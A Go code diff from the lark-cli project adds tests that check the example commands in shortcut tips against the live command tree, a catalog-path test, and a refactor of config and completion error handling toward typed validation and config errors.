+// TestShortcutExampleCommands checks the example commands embedded in every
+// shortcut's Tips against the live command tree. A shortcut that defines no
+// example is simply skipped.
+//
+// Because the examples and the command definitions live in the same Go code,
+// this is a self-consistency check: any mismatch (an example using a renamed
+// command or a flag the command doesn't accept) is a bug to fix at the source.
+// It runs over all shortcuts — no baseline, no diff — since a wrong example is
+// always a defect, never acceptable "pre-existing drift".
+func TestShortcutExampleCommands(t *testing.T) {
+	// Reproducibility: use the embedded API metadata (not a developer's stale
+	// ~/.lark-cli remote cache, which can miss commands) and an empty config
+	// dir so local strict mode / plugins / policy cannot reshape the tree.
+	// t.Setenv auto-restores after the test, so other cmd tests are unaffected.
+	t.Setenv("LARKSUITE_CLI_REMOTE_META", "off")
+	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
+
+	cat := buildCmdExampleCatalog()
+
+	type located struct {
+		shortcut string
+		f        finding
+	}
+	var findings []located
+	for _, sc := range shortcuts.AllShortcuts() {
+		var refs []ref
+		for _, tip := range sc.Tips {
+			refs = append(refs, parseRefs(tip)...)
+		}
+		label := strings.TrimSpace(sc.Service + " " + sc.Command)
+		for _, f := range checkRefs(cat, refs) {
+			findings = append(findings, located{shortcut: label, f: f})
+		}
+	}
+
+	if len(findings) == 0 {
+		return
+	}
+	sort.Slice(findings, func(i, j int) bool { return findings[i].shortcut < findings[j].shortcut })
+	for _, lf := range findings {
+		hint := ""
+		if lf.f.suggest != "" {
+			hint = "  (did you mean " + lf.f.suggest + "?)"
+		}
+		if lf.f.kind == unknownFlag {
+			t.Errorf("shortcut %q example uses unknown flag %s on %q%s\n      %s",
+				lf.shortcut, lf.f.flag, lf.f.path, hint, strings.TrimSpace(lf.f.raw))
+		} else {
+			t.Errorf("shortcut %q example uses unknown command %q%s\n      %s",
+				lf.shortcut, lf.f.path, hint, strings.TrimSpace(lf.f.raw))
+		}
+	}
+	t.Fatalf("%d shortcut example command(s) don't match the real CLI — "+
+		"fix the Example in the shortcut definition.", len(findings))
+}
+
+// buildCmdExampleCatalog walks the live cobra command tree and records every
+// command path (minus the "lark-cli" root prefix) with its accepted flags and
+// whether it is a parent group. This is the same Build() the binary uses, so
+// the catalog can never drift from the real commands.
+func buildCmdExampleCatalog() *catalog {
+	root := cmd.Build(context.Background(), cmdutil.InvocationContext{})
+	cat := newCatalog()
+	var walk func(c *cobra.Command)
+	walk = func(c *cobra.Command) {
+		path := strings.TrimSpace(strings.TrimPrefix(c.CommandPath(), "lark-cli"))
+		var flags []string
+		add := func(fl *pflag.Flag) {
+			flags = append(flags, "--"+fl.Name)
+			if fl.Shorthand != "" {
+				flags = append(flags, "-"+fl.Shorthand)
+			}
+		}
+		c.Flags().VisitAll(add)
+		c.InheritedFlags().VisitAll(add)
+		c.PersistentFlags().VisitAll(add) // root's own persistent flags (e.g. --profile)
+		cat.addCommand(path, flags)
+		cat.setGroup(path, c.HasSubCommands())
+		for _, sub := range c.Commands() {
+			walk(sub)
+		}
+	}
+	walk(root)
+	return cat
+}

cmd/cmdexample_units_test.go

@@ -0,0 +1,233 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package cmd_test
+
+import (
+	"strings"
+	"testing"
+)
+
+func testCatalog() *catalog {
+	c := newCatalog()
+	c.addCommand("", []string{"--profile"}) // root
+	c.setGroup("", true)
+	c.addCommand("contact", []string{"--profile"})
+	c.setGroup("contact", true)
+	c.addCommand("contact +search-user", []string{"--query", "--as", "--format", "-q"})
+	c.addCommand("api", []string{"--params", "--data", "--as"}) // leaf (no subcommands)
+	c.addCommand("mail", nil)
+	c.setGroup("mail", true)
+	c.addCommand("mail user_mailbox.messages", []string{"--profile"})
+	c.setGroup("mail user_mailbox.messages", true)
+	c.addCommand("mail user_mailbox.messages batch_modify", []string{"--params", "--data"})
+	return c
+}
+
+func TestCmdExampleCatalogHasCommandAndFlag(t *testing.T) {
+	c := testCatalog()
+	if !c.hasCommand("contact +search-user") {
+		t.Fatal("expected contact +search-user to exist")
+	}
+	if c.hasCommand("contact +nope") {
+		t.Fatal("did not expect contact +nope")
+	}
+	if !c.hasFlag("contact +search-user", "--query") {
+		t.Fatal("--query should be valid")
+	}
+	if c.hasFlag("contact +search-user", "--nope") {
+		t.Fatal("--nope should be invalid")
+	}
+	// universal flags pass on any command
+	for _, f := range []string{"--help", "-h", "--version"} {
+		if !c.hasFlag("contact +search-user", f) {
+			t.Fatalf("universal flag %s should pass", f)
+		}
+	}
+}
+
+func TestCmdExampleLongestPrefix(t *testing.T) {
+	c := testCatalog()
+	tests := []struct {
+		words  []string
+		want   string
+		wantN  int
+		wantOK bool
+	}{
+		{[]string{"contact", "+search-user"}, "contact +search-user", 2, true},
+		{[]string{"api", "GET", "/open-apis/x"}, "api", 1, true}, // trailing positionals
+		{[]string{"nope"}, "", 0, false},
+		{nil, "", 0, true}, // empty -> root
+	}
+	for _, tt := range tests {
+		got, n, ok := c.longestPrefix(tt.words)
+		if got != tt.want || n != tt.wantN || ok != tt.wantOK {
+			t.Errorf("longestPrefix(%v) = (%q,%d,%v), want (%q,%d,%v)",
+				tt.words, got, n, ok, tt.want, tt.wantN, tt.wantOK)
+		}
+	}
+}
+
+func refWordsOf(refs []ref) [][]string {
+	var out [][]string
+	for _, r := range refs {
+		out = append(out, r.words)
+	}
+	return out
+}
+
+func TestCmdExampleParseRefsExtractsCommands(t *testing.T) {
+	content := strings.Join([]string{
+		"运行 `lark-cli contact +search-user --query 张三` 搜索", // inline code
+		"```bash",
+		"lark-cli api GET /open-apis/x --params '{}'", // bash block
+		"```",
+		"用 lark-cli mail user_mailbox.messages batch_modify 即可", // bare prose command
+		"npx foo | lark-cli api GET /y",                         // after a pipe
+	}, "\n")
+	refs := parseRefs(content)
+	if len(refs) != 4 {
+		t.Fatalf("expected 4 refs, got %d: %v", len(refs), refWordsOf(refs))
+	}
+	if got := refs[0]; strings.Join(got.words, " ") != "contact +search-user" ||
+		len(got.flags) != 1 || got.flags[0] != "--query" {
+		t.Errorf("ref0 = %+v", got)
+	}
+	if got := refs[1]; strings.Join(got.words, " ") != "api GET /open-apis/x" {
+		t.Errorf("ref1 words = %v", got.words)
+	}
+}
+
+func TestCmdExampleParseRefsFiltersPlaceholdersAndProse(t *testing.T) {
+	// A line whose first word is prose yields no command at all.
+	if refs := parseRefs("lark-cli 就能搞定这件事"); len(refs) != 0 {
+		t.Errorf("prose-first line should yield 0 refs, got %v", refWordsOf(refs))
+	}
+	// Syntax templates / trailing prose may leave a real leading word ("mail"),
+	// but no placeholder or CJK token may leak into the command words — that is
+	// what prevents false positives like an "<resource>" unknown-command report.
+	for _, line := range []string{
+		"lark-cli mail <resource> <method> [flags]",
+		"lark-cli apps +<verb> [flags]",
+		"lark-cli base +...",
+		"lark-cli mail 写信场景下的格式说明",
+	} {
+		for _, r := range parseRefs(line) {
+			for _, w := range r.words {
+				if isPlaceholderOrProse(w) {
+					t.Errorf("%q: placeholder/prose token %q leaked into words %v", line, w, r.words)
+				}
+			}
+		}
+	}
+}
+
+func TestCmdExampleParseRefsStripsTrailingJunk(t *testing.T) {
+	// frontmatter-style quoted value: the trailing quote must not bleed into the flag
+	refs := parseRefs(`cliHelp: "lark-cli contact --help"`)
+	if len(refs) != 1 {
+		t.Fatalf("expected 1 ref, got %d", len(refs))
+	}
+	if len(refs[0].flags) != 1 || refs[0].flags[0] != "--help" {
+		t.Errorf("expected flag --help, got %v", refs[0].flags)
+	}
+	// bare "-" (stdin marker) and "=value" suffix
+	refs = parseRefs("lark-cli api GET /x --params={} --data -")
+	if len(refs) != 1 {
+		t.Fatalf("expected 1 ref, got %d", len(refs))
+	}
+	flags := strings.Join(refs[0].flags, " ")
+	if flags != "--params --data" {
+		t.Errorf("expected '--params --data', got %q", flags)
+	}
+}
+
+func TestCmdExampleCheck(t *testing.T) {
+	c := testCatalog()
+	tests := []struct {
+		name     string
+		r        ref
+		wantKind string // "" = no finding
+		wantPath string
+	}{
+		{"valid shortcut", ref{words: []string{"contact", "+search-user"}, flags: []string{"--query"}}, "", ""},
+		{"valid leaf positional", ref{words: []string{"api", "GET", "/x"}}, "", ""},
+		{"unknown top command", ref{words: []string{"nope"}}, unknownCommand, "nope"},
+		{"group leftover = unknown subcommand",
+			ref{words: []string{"mail", "user_mailbox.messages", "batch_modify_message"}},
+			unknownCommand, "mail user_mailbox.messages batch_modify_message"},
+		{"unknown flag", ref{words: []string{"contact", "+search-user"}, flags: []string{"--nope"}}, unknownFlag, "contact +search-user"},
+		{"universal flag ok", ref{words: []string{"contact", "+search-user"}, flags: []string{"--help"}}, "", ""},
+	}
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			fs := checkRefs(c, []ref{tt.r})
+			if tt.wantKind == "" {
+				if len(fs) != 0 {
+					t.Fatalf("expected no finding, got %+v", fs)
+				}
+				return
+			}
+			if len(fs) != 1 {
+				t.Fatalf("expected 1 finding, got %d: %+v", len(fs), fs)
+			}
+			if fs[0].kind != tt.wantKind || fs[0].path != tt.wantPath {
+				t.Errorf("got kind=%s path=%q, want kind=%s path=%q", fs[0].kind, fs[0].path, tt.wantKind, tt.wantPath)
+			}
+		})
+	}
+}
+
+func TestCmdExampleCheckSuggestsNearest(t *testing.T) {
+	c := testCatalog()
+	fs := checkRefs(c, []ref{{words: []string{"mail", "user_mailbox.messages", "batch_modify_message"}}})
+	if len(fs) != 1 || fs[0].suggest != "mail user_mailbox.messages batch_modify" {
+		t.Fatalf("expected suggestion 'mail user_mailbox.messages batch_modify', got %+v", fs)
+	}
+}
+
+// TestCmdExampleParseRefsRobustness covers the parser edge cases hardened after
+// review: backslash continuation, underscore flags, $(...) substitution, glued
+// separators, trailing punctuation, and the "..." placeholder.
+func TestCmdExampleParseRefsRobustness(t *testing.T) {
+	cases := []struct {
+		name, content, wantWords, wantFlags string
+		wantRefs                            int
+	}{
+		{"backslash continuation joins flags",
+			"lark-cli contact +search-user \\\n  --query foo \\\n  --as user",
+			"contact +search-user", "--query --as", 1},
+		{"underscore flag not truncated",
+			"lark-cli whiteboard +update --input_format mermaid",
+			"whiteboard +update", "--input_format", 1},
+		{"command-substitution flags ignored",
+			`lark-cli slides x create --data "$(jq -n --arg c '{}')" --as user`,
+			"slides x create", "--data --as", 1},
+		{"glued separator truncates",
+			"lark-cli auth login; echo done",
+			"auth login", "", 1},
+		{"trailing CJK punctuation stripped",
+			"用 lark-cli auth login。",
+			"auth login", "", 1},
+		{"ellipsis placeholder stays placeholder",
+			"lark-cli base +...",
+			"base", "", 1},
+	}
+	for _, tt := range cases {
+		t.Run(tt.name, func(t *testing.T) {
+			refs := parseRefs(tt.content)
+			if len(refs) != tt.wantRefs {
+				t.Fatalf("refs=%d want %d: %v", len(refs), tt.wantRefs, refWordsOf(refs))
+			}
+			if tt.wantRefs == 0 {
+				return
+			}
+			if got := strings.Join(refs[0].words, " "); got != tt.wantWords {
+				t.Errorf("words=%q want %q", got, tt.wantWords)
+			}
+			if got := strings.Join(refs[0].flags, " "); got != tt.wantFlags {
+				t.Errorf("flags=%q want %q", got, tt.wantFlags)
+			}
+		})
+	}
+}

cmd/command_catalog_path_test.go

@@ -0,0 +1,52 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package cmd
+
+import (
+	"reflect"
+	"testing"
+
+	"github.com/spf13/cobra"
+)
+
+// TestCommandCatalogPath pins that the auth-hint path reconstruction inverts the
+// service command tree for any depth — flat dotted resources AND genuinely
+// nested resources — so it round-trips through apicatalog.Resolve instead of
+// assuming a fixed root->service->resource->method shape.
+func TestCommandCatalogPath(t *testing.T) {
+	chain := func(names ...string) *cobra.Command {
+		var parent, leaf *cobra.Command
+		for _, n := range names {
+			c := &cobra.Command{Use: n}
+			if parent != nil {
+				parent.AddCommand(c)
+			}
+			parent = c
+			leaf = c
+		}
+		return leaf
+	}
+
+	tests := []struct {
+		name string
+		leaf *cobra.Command
+		want []string
+	}{
+		{"flat dotted resource", chain("lark-cli", "im", "chat.members", "create"), []string{"im", "chat.members", "create"}},
+		{"nested resources", chain("lark-cli", "im", "spaces", "items", "get"), []string{"im", "spaces", "items", "get"}},
+		{"service level", chain("lark-cli", "im"), []string{"im"}},
+	}
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			if got := commandCatalogPath(tt.leaf); !reflect.DeepEqual(got, tt.want) {
+				t.Errorf("commandCatalogPath = %v, want %v", got, tt.want)
+			}
+		})
+	}
+
+	// The root command (no parent) has no catalog path.
+	if got := commandCatalogPath(&cobra.Command{Use: "lark-cli"}); len(got) != 0 {
+		t.Errorf("root path = %v, want empty", got)
+	}
+}

cmd/completion/completion.go

@@ -4,8 +4,7 @@
 package completion
 
 import (
-	"fmt"
-
+	"github.com/larksuite/cli/errs"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/spf13/cobra"
 )
@@ -32,7 +31,9 @@ func NewCmdCompletion(f *cmdutil.Factory) *cobra.Command {
 			case "powershell":
 				return root.GenPowerShellCompletionWithDesc(out)
 			default:
-				return fmt.Errorf("unsupported shell: %s", args[0])
+				return errs.NewValidationError(errs.SubtypeInvalidArgument,
+					"unsupported shell: %s", args[0]).
+					WithHint("supported shells: bash, zsh, fish, powershell")
 			}
 		},
 	}

cmd/config/bind.go

@@ -212,10 +212,7 @@ func finalizeSource(opts *BindOptions) (string, error) {
 	if opts.IsTUI && !opts.langExplicit {
 		lang, err := promptLangSelection()
 		if err != nil {
-			if err == huh.ErrUserAborted {
-				return "", output.ErrBare(1)
-			}
-			return "", output.Errorf(output.ExitInternal, "internal", "language selection failed: %v", err)
+			return "", langSelectionError(err)
 		}
 		opts.Lang = string(lang)
 		opts.UILang = lang

cmd/config/bind_test.go

@@ -20,35 +20,29 @@ import (
 	"github.com/larksuite/cli/internal/output"
 )
 
-// assertExitError checks the full structured error in one assertion. It
-// accepts both *output.ExitError (used by output.ErrWithHint) and the
-// typed errors (ValidationError, ConfigError) — they normalize to the same
-// wantDetail fields. The wantDetail.Type is matched against the typed error's
-// Category string ("validation", "config", etc.).
-func assertExitError(t *testing.T, err error, wantCode int, wantDetail output.ErrDetail) {
+// wantErrDetail is the normalized comparison shape for a typed error's wire
+// fields: Type is the error's Category string ("validation", "config", ...),
+// alongside Message and Hint.
+type wantErrDetail struct {
+	Type    string
+	Message string
+	Hint    string
+}
+
+// assertExitError checks the full structured error in one assertion against a
+// typed error (ValidationError or ConfigError), normalizing its Category /
+// Message / Hint to wantDetail.
+func assertExitError(t *testing.T, err error, wantCode int, wantDetail wantErrDetail) {
 	t.Helper()
 	if err == nil {
 		t.Fatal("expected error, got nil")
 	}
-	var exitErr *output.ExitError
-	if errors.As(err, &exitErr) {
-		if exitErr.Code != wantCode {
-			t.Errorf("exit code = %d, want %d", exitErr.Code, wantCode)
-		}
-		if exitErr.Detail == nil {
-			t.Fatal("expected non-nil error detail")
-		}
-		if !reflect.DeepEqual(*exitErr.Detail, wantDetail) {
-			t.Errorf("error detail mismatch:\n  got:  %+v\n  want: %+v", *exitErr.Detail, wantDetail)
-		}
-		return
-	}
 	var ve *errs.ValidationError
 	if errors.As(err, &ve) {
 		if got := output.ExitCodeOf(err); got != wantCode {
 			t.Errorf("exit code = %d, want %d", got, wantCode)
 		}
-		gotDetail := output.ErrDetail{Type: string(ve.Category), Message: ve.Message, Hint: ve.Hint}
+		gotDetail := wantErrDetail{Type: string(ve.Category), Message: ve.Message, Hint: ve.Hint}
 		if !reflect.DeepEqual(gotDetail, wantDetail) {
 			t.Errorf("validation error mismatch:\n  got:  %+v\n  want: %+v", gotDetail, wantDetail)
 		}
@@ -59,13 +53,13 @@ func assertExitError(t *testing.T, err error, wantCode int, wantDetail output.Er
 		if got := output.ExitCodeOf(err); got != wantCode {
 			t.Errorf("exit code = %d, want %d", got, wantCode)
 		}
-		gotDetail := output.ErrDetail{Type: string(ce.Category), Message: ce.Message, Hint: ce.Hint}
+		gotDetail := wantErrDetail{Type: string(ce.Category), Message: ce.Message, Hint: ce.Hint}
 		if !reflect.DeepEqual(gotDetail, wantDetail) {
 			t.Errorf("config error mismatch:\n  got:  %+v\n  want: %+v", gotDetail, wantDetail)
 		}
 		return
 	}
-	t.Fatalf("error type = %T, want *output.ExitError or *errs.ValidationError / *errs.ConfigError; error = %v", err, err)
+	t.Fatalf("error type = %T, want *errs.ValidationError / *errs.ConfigError; error = %v", err, err)
 }
 
 // assertEnvelope decodes stdout and checks it matches want exactly — every key
@@ -179,15 +173,21 @@ func TestConfigBindRun_InvalidLang(t *testing.T) {
 			if err == nil {
 				t.Fatalf("expected validation error for --lang %q, got nil", tc.lang)
 			}
-			exitErr, ok := err.(*output.ExitError)
-			if !ok {
-				t.Fatalf("expected *output.ExitError, got %T: %v", err, err)
+			var valErr *errs.ValidationError
+			if !errors.As(err, &valErr) {
+				t.Fatalf("expected *errs.ValidationError, got %T: %v", err, err)
 			}
-			if exitErr.Code != output.ExitValidation {
-				t.Errorf("exit code = %d, want %d (validation)", exitErr.Code, output.ExitValidation)
+			if valErr.Subtype != errs.SubtypeInvalidArgument {
+				t.Errorf("subtype = %q, want %q", valErr.Subtype, errs.SubtypeInvalidArgument)
 			}
-			if !strings.Contains(exitErr.Error(), "invalid --lang") {
-				t.Errorf("error message %q does not contain 'invalid --lang'", exitErr.Error())
+			if valErr.Param != "--lang" {
+				t.Errorf("param = %q, want %q", valErr.Param, "--lang")
+			}
+			if got := output.ExitCodeOf(err); got != output.ExitValidation {
+				t.Errorf("exit code = %d, want %d (validation)", got, output.ExitValidation)
+			}
+			if !strings.Contains(err.Error(), "invalid --lang") {
+				t.Errorf("error message %q does not contain 'invalid --lang'", err.Error())
 			}
 		})
 	}
@@ -365,7 +365,7 @@ func TestConfigBindRun_InvalidSource(t *testing.T) {
 
 	f, _, _, _ := cmdutil.TestFactory(t, nil)
 	err := configBindRun(&BindOptions{Factory: f, Source: "invalid"})
-	assertExitError(t, err, output.ExitValidation, output.ErrDetail{
+	assertExitError(t, err, output.ExitValidation, wantErrDetail{
 		Type:    "validation",
 		Message: `invalid --source "invalid"; valid values: openclaw, hermes, lark-channel`,
 	})
@@ -382,7 +382,7 @@ func TestConfigBindRun_MissingSourceNonTTY(t *testing.T) {
 	f, _, _, _ := cmdutil.TestFactory(t, nil)
 	// TestFactory has IsTerminal=false by default
 	err := configBindRun(&BindOptions{Factory: f, Source: ""})
-	assertExitError(t, err, output.ExitValidation, output.ErrDetail{
+	assertExitError(t, err, output.ExitValidation, wantErrDetail{
 		Type:    "validation",
 		Message: "cannot determine Agent source: no --source flag and no Agent environment detected",
 		Hint:    "pass --source openclaw|hermes|lark-channel, or run this command inside the corresponding Agent context",
@@ -421,7 +421,7 @@ func TestConfigBindRun_SourceEnvMismatch_OpenClawFlagInHermesEnv(t *testing.T) {
 
 	f, _, _, _ := cmdutil.TestFactory(t, nil)
 	err := configBindRun(&BindOptions{Factory: f, Source: "openclaw"})
-	assertExitError(t, err, output.ExitValidation, output.ErrDetail{
+	assertExitError(t, err, output.ExitValidation, wantErrDetail{
 		Type:    "validation",
 		Message: `--source "openclaw" does not match detected Agent environment (hermes)`,
 		Hint:    "remove --source to auto-detect, or run this command in the correct Agent context",
@@ -437,7 +437,7 @@ func TestConfigBindRun_SourceEnvMismatch_HermesFlagInOpenClawEnv(t *testing.T) {
 
 	f, _, _, _ := cmdutil.TestFactory(t, nil)
 	err := configBindRun(&BindOptions{Factory: f, Source: "hermes"})
-	assertExitError(t, err, output.ExitValidation, output.ErrDetail{
+	assertExitError(t, err, output.ExitValidation, wantErrDetail{
 		Type:    "validation",
 		Message: `--source "hermes" does not match detected Agent environment (openclaw)`,
 		Hint:    "remove --source to auto-detect, or run this command in the correct Agent context",
@@ -566,7 +566,7 @@ func TestConfigBindRun_HermesMissingEnvFile(t *testing.T) {
 	f, _, _, _ := cmdutil.TestFactory(t, nil)
 	err := configBindRun(&BindOptions{Factory: f, Source: "hermes"})
 	envPath := filepath.Join(hermesHome, ".env")
-	assertExitError(t, err, output.ExitAuth, output.ErrDetail{
+	assertExitError(t, err, output.ExitAuth, wantErrDetail{
 		Type:    "config",
 		Message: "failed to read Hermes config: open " + envPath + ": no such file or directory",
 		Hint:    "verify Hermes is installed and configured at " + envPath,
@@ -584,7 +584,7 @@ func TestConfigBindRun_OpenClawMissingFile(t *testing.T) {
 	f, _, _, _ := cmdutil.TestFactory(t, nil)
 	err := configBindRun(&BindOptions{Factory: f, Source: "openclaw"})
 	configPath := filepath.Join(openclawHome, ".openclaw", "openclaw.json")
-	assertExitError(t, err, output.ExitAuth, output.ErrDetail{
+	assertExitError(t, err, output.ExitAuth, wantErrDetail{
 		Type:    "config",
 		Message: "cannot read " + configPath + ": open " + configPath + ": no such file or directory",
 		Hint:    "verify OpenClaw is installed and configured",
@@ -731,7 +731,7 @@ func TestConfigBindRun_SourceEnvMismatch_LarkChannelFlagInOpenClawEnv(t *testing
 
 	f, _, _, _ := cmdutil.TestFactory(t, nil)
 	err := configBindRun(&BindOptions{Factory: f, Source: "lark-channel"})
-	assertExitError(t, err, output.ExitValidation, output.ErrDetail{
+	assertExitError(t, err, output.ExitValidation, wantErrDetail{
 		Type:    "validation",
 		Message: `--source "lark-channel" does not match detected Agent environment (openclaw)`,
 		Hint:    "remove --source to auto-detect, or run this command in the correct Agent context",
@@ -750,7 +750,7 @@ func TestConfigBindRun_LarkChannelMissingFile(t *testing.T) {
 	f, _, _, _ := cmdutil.TestFactory(t, nil)
 	err := configBindRun(&BindOptions{Factory: f, Source: "lark-channel"})
 	configPath := filepath.Join(fakeHome, ".lark-channel", "config.json")
-	assertExitError(t, err, output.ExitAuth, output.ErrDetail{
+	assertExitError(t, err, output.ExitAuth, wantErrDetail{
 		Type:    "config",
 		Message: "cannot read " + configPath + ": open " + configPath + ": no such file or directory",
 		Hint:    "verify lark-channel-bridge is installed and configured",
@@ -770,7 +770,7 @@ func TestConfigBindRun_LarkChannelEmptyAppID(t *testing.T) {
 
 	f, _, _, _ := cmdutil.TestFactory(t, nil)
 	err := configBindRun(&BindOptions{Factory: f, Source: "lark-channel"})
-	assertExitError(t, err, output.ExitAuth, output.ErrDetail{
+	assertExitError(t, err, output.ExitAuth, wantErrDetail{
 		Type:    "config",
 		Message: "accounts.app.id missing in " + configPath,
 		Hint:    "run lark-channel-bridge's setup to populate the app credential",
@@ -789,7 +789,7 @@ func TestConfigBindRun_LarkChannelEmptySecret(t *testing.T) {
 
 	f, _, _, _ := cmdutil.TestFactory(t, nil)
 	err := configBindRun(&BindOptions{Factory: f, Source: "lark-channel"})
-	assertExitError(t, err, output.ExitAuth, output.ErrDetail{
+	assertExitError(t, err, output.ExitAuth, wantErrDetail{
 		Type:    "config",
 		Message: "accounts.app.secret is empty in " + configPath,
 		Hint:    "run lark-channel-bridge's setup to populate the app credential",
@@ -835,17 +835,19 @@ func TestConfigShowRun_AgentWorkspaceNotBound(t *testing.T) {
 		t.Fatal("expected error for unbound workspace")
 	}
 	// Should be a structured ConfigError suggesting config bind, not config init.
-	var cfgErr *core.ConfigError
+	var cfgErr *errs.ConfigError
 	if !errors.As(err, &cfgErr) {
-		t.Fatalf("error type = %T, want *core.ConfigError", err)
+		t.Fatalf("error type = %T, want *errs.ConfigError", err)
 	}
 	// Config errors share ExitAuth (3); the workspace is detected but no
 	// binding exists yet, which is a config error.
-	if cfgErr.Code != output.ExitAuth {
-		t.Errorf("exit code = %d, want %d (config category → ExitAuth)", cfgErr.Code, output.ExitAuth)
+	if got := output.ExitCodeOf(err); got != output.ExitAuth {
+		t.Errorf("exit code = %d, want %d (config category → ExitAuth)", got, output.ExitAuth)
 	}
-	if cfgErr.Type != "openclaw" {
-		t.Errorf("type = %q, want %q", cfgErr.Type, "openclaw")
+	// The workspace name stays out of the wire subtype; it only appears in
+	// the message.
+	if cfgErr.Subtype != errs.SubtypeNotConfigured {
+		t.Errorf("subtype = %q, want not_configured", cfgErr.Subtype)
 	}
 	if !strings.Contains(cfgErr.Message, "openclaw context detected") {
 		t.Errorf("message missing 'openclaw context detected': %q", cfgErr.Message)
@@ -914,25 +916,6 @@ func TestReadDotenv_ValueWithEquals(t *testing.T) {
 	}
 }
 
-func TestNormalizeBrand(t *testing.T) {
-	tests := []struct {
-		input string
-		want  string
-	}{
-		{"", "feishu"},
-		{"feishu", "feishu"},
-		{"lark", "lark"},
-		{"LARK", "lark"},
-		{" lark ", "lark"},
-		{"Lark", "lark"},
-	}
-	for _, tt := range tests {
-		if got := normalizeBrand(tt.input); got != tt.want {
-			t.Errorf("normalizeBrand(%q) = %q, want %q", tt.input, got, tt.want)
-		}
-	}
-}
-
 func TestResolveOpenClawConfigPath_Overrides(t *testing.T) {
 	t.Run("OPENCLAW_CONFIG_PATH wins", func(t *testing.T) {
 		custom := filepath.Join(t.TempDir(), "custom.json")
@@ -1187,7 +1170,7 @@ func TestConfigBindRun_OpenClawMultiAccount_TTYFlagMode(t *testing.T) {
 	// iterates a map — ordering is non-deterministic. DeepEqual inline against
 	// each accepted variant so every ErrDetail field (Type, Code, Message,
 	// Hint, ConsoleURL, Detail, and any future addition) is still compared.
-	base := output.ErrDetail{
+	base := wantErrDetail{
 		Type:    "validation",
 		Message: "multiple accounts in openclaw.json; pass --app-id <id>",
 	}
@@ -1203,7 +1186,7 @@ func TestConfigBindRun_OpenClawMultiAccount_TTYFlagMode(t *testing.T) {
 	if !errors.As(err, &ve) {
 		t.Fatalf("error type = %T, want *errs.ValidationError; err = %v", err, err)
 	}
-	got := output.ErrDetail{Type: string(ve.Category), Message: ve.Message, Hint: ve.Hint}
+	got := wantErrDetail{Type: string(ve.Category), Message: ve.Message, Hint: ve.Hint}
 	if !reflect.DeepEqual(got, wantWorkFirst) && !reflect.DeepEqual(got, wantPersonalFirst) {
 		t.Errorf("error detail did not match any accepted variant:\n  got:  %+v\n  want: %+v OR %+v",
 			got, wantWorkFirst, wantPersonalFirst)
@@ -1230,7 +1213,7 @@ func TestConfigBindRun_OpenClawMultiAccount_WrongAppID(t *testing.T) {
 
 	f, _, _, _ := cmdutil.TestFactory(t, nil)
 	err := configBindRun(&BindOptions{Factory: f, Source: "openclaw", AppID: "nonexistent"})
-	assertExitError(t, err, output.ExitValidation, output.ErrDetail{
+	assertExitError(t, err, output.ExitValidation, wantErrDetail{
 		Type:    "validation",
 		Message: `--app-id "nonexistent" not found in openclaw.json`,
 		Hint:    "available app IDs:\n  cli_only_one",
@@ -1250,7 +1233,7 @@ func TestConfigBindRun_InvalidIdentity(t *testing.T) {
 
 	f, _, _, _ := cmdutil.TestFactory(t, nil)
 	err := configBindRun(&BindOptions{Factory: f, Source: "hermes", Identity: "invalid"})
-	assertExitError(t, err, output.ExitValidation, output.ErrDetail{
+	assertExitError(t, err, output.ExitValidation, wantErrDetail{
 		Type:    "validation",
 		Message: `invalid --identity "invalid"; valid values: bot-only, user-default`,
 	})
@@ -1536,7 +1519,7 @@ func TestConfigBindRun_HermesMissingAppID(t *testing.T) {
 	f, _, _, _ := cmdutil.TestFactory(t, nil)
 	err := configBindRun(&BindOptions{Factory: f, Source: "hermes"})
 	envPath := filepath.Join(hermesHome, ".env")
-	assertExitError(t, err, output.ExitAuth, output.ErrDetail{
+	assertExitError(t, err, output.ExitAuth, wantErrDetail{
 		Type:    "config",
 		Message: "FEISHU_APP_ID not found in " + envPath,
 		Hint:    "run 'hermes setup' to configure Feishu credentials",
@@ -1556,7 +1539,7 @@ func TestConfigBindRun_HermesMissingAppSecret(t *testing.T) {
 	f, _, _, _ := cmdutil.TestFactory(t, nil)
 	err := configBindRun(&BindOptions{Factory: f, Source: "hermes"})
 	envPath := filepath.Join(hermesHome, ".env")
-	assertExitError(t, err, output.ExitAuth, output.ErrDetail{
+	assertExitError(t, err, output.ExitAuth, wantErrDetail{
 		Type:    "config",
 		Message: "FEISHU_APP_SECRET not found in " + envPath,
 		Hint:    "run 'hermes setup' to configure Feishu credentials",
@@ -1582,7 +1565,7 @@ func TestConfigBindRun_OpenClawMissingFeishu(t *testing.T) {
 
 	f, _, _, _ := cmdutil.TestFactory(t, nil)
 	err := configBindRun(&BindOptions{Factory: f, Source: "openclaw"})
-	assertExitError(t, err, output.ExitAuth, output.ErrDetail{
+	assertExitError(t, err, output.ExitAuth, wantErrDetail{
 		Type:    "config",
 		Message: "openclaw.json missing channels.feishu section",
 		Hint:    "configure Feishu in OpenClaw first",
@@ -1610,7 +1593,7 @@ func TestConfigBindRun_OpenClawEmptyAppSecret(t *testing.T) {
 	openclawPath := filepath.Join(openclawDir, "openclaw.json")
 	f, _, _, _ := cmdutil.TestFactory(t, nil)
 	err := configBindRun(&BindOptions{Factory: f, Source: "openclaw"})
-	assertExitError(t, err, output.ExitAuth, output.ErrDetail{
+	assertExitError(t, err, output.ExitAuth, wantErrDetail{
 		Type:    "config",
 		Message: "appSecret is empty for app cli_no_secret in " + openclawPath,
 		Hint:    "configure channels.feishu.appSecret in openclaw.json",
@@ -1672,7 +1655,7 @@ func TestConfigBindRun_OpenClawDisabledAccount(t *testing.T) {
 
 	f, _, _, _ := cmdutil.TestFactory(t, nil)
 	err := configBindRun(&BindOptions{Factory: f, Source: "openclaw"})
-	assertExitError(t, err, output.ExitAuth, output.ErrDetail{
+	assertExitError(t, err, output.ExitAuth, wantErrDetail{
 		Type:    "config",
 		Message: "no Feishu app configured in openclaw.json",
 		Hint:    "configure channels.feishu.appId in openclaw.json",

cmd/config/binder.go

@@ -205,7 +205,7 @@ func (b *openclawBinder) Build(appID string) (*core.AppConfig, error) {
 	return &core.AppConfig{
 		AppId:     selected.AppID,
 		AppSecret: stored,
